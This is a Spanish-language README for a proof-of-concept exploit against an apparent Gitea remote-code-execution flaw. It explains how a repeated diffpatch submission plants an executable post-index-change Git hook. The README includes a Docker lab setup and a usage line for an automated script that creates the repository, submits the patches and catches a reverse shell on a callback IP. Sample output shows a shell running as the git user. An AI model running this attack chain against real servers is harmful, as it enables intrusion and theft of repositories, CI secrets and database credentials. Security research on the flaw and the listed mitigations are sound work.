
CVE-2026-60004 — Actualizado!
Gitea diffpatch RCE
CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
Resumen
CVE-2026-60004 es una vulnerabilidad de Ejecución Remota de Código (RCE) en Gitea. La API
diffpatchaplica un parche suministrado congit apply --cached, que solo debería tocar el índice y nunca escribir archivos en el disco. Al enviar el mismo parche dos veces, un atacante fuerza una colisión add/add que desencadena el mecanismo de fusión de tres vías (-3) de Git. Esa ruta ignora--cachedy extrae el archivo al árbol de trabajo. Debido a que el clon temporal es bare, la raíz de su árbol de trabajo es$GIT_DIR. Un parche que crea unhooks/post-index-changeejecutable, por tanto, coloca un hook de Git activo, que Git ejecuta automáticamente en la siguiente actualización del índice — ejecutando comandos como la cuenta de servicio de Gitea. El endpoint requiere acceso de escritura al repositorio, pero el registro está habilitado por defecto, por lo que cualquier usuario que pueda registrarse y crear un repositorio puede alcanzarlo.
Versiones Afectadas
| Categoría | Versión |
|---|---|
| Vulnerable | Gitea 1.17 ≤ versión ≤ 1.27.0 |
| Corregida | Gitea 1.27.1 o posterior |
Impacto
- Ejecución Remota de Código como la cuenta de servicio de Gitea (
git) - Acceso a todos los repositorios alojados, secretos de CI y credenciales de base de datos
Entorno
Construye y ejecuta el entorno vulnerable de Gitea. El registro se deja abierto y el
servidor incluye Git 2.32+, que habilita el mecanismo de respaldo -3 del que depende el ataque.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Precondición | Estado en este laboratorio |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ en el servidor (habilita -3) | 2.54 |
| Registro abierto | habilitado (por defecto) |
| Acceso de escritura al repositorio | mediante cuenta auto-registrada |
PoC
El exploit está totalmente automatizado por gitea_exploit.py. Dada una cuenta que pueda
crear un repositorio, crea el repositorio objetivo, envía el mismo parche
repetidamente hasta que el mecanismo de respaldo -3 de Git se activa, y captura la reverse shell con un
listener integrado — sin configuración manual, creación de parches ni cálculos de blob-hash necesarios.
# python3 gitea_exploit.py <ip:puerto objetivo> <ip de callback> [puerto de callback]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
El mecanismo de respaldo -3 solo se activa en ciertas ventanas de tiempo, por lo que el script itera
crear → enviar → enviar hasta capturar (25 intentos por defecto). Cuando un envío se bloquea,
el hook se ha activado y el listener te deja en una shell como git:
[*] intento 3/25 -> envío#1 201, envío#2 timeout <- BLOQUEADO (¡activado!)
[+] shell desde 172.17.0.2:53344 -- escribe comandos, Ctrl-C para salir
uid=1000(git) gid=1000(git) groups=1000(git)
Opciones:
--no-listen— captura la shell con tu propioncexterno en lugar del listener integrado--user/--pw/--repo/--branch— sobrescribe la cuenta y el repositorio objetivo por defecto
Mitigación
- Actualiza Gitea a 1.27.1 o posterior
- Desactiva el registro abierto si no es necesario (
DISABLE_REGISTRATION=true) - Restringe quién puede acceder a la instancia y crear repositorios
Análisis
- KR: ¡Próximamente!
- EN: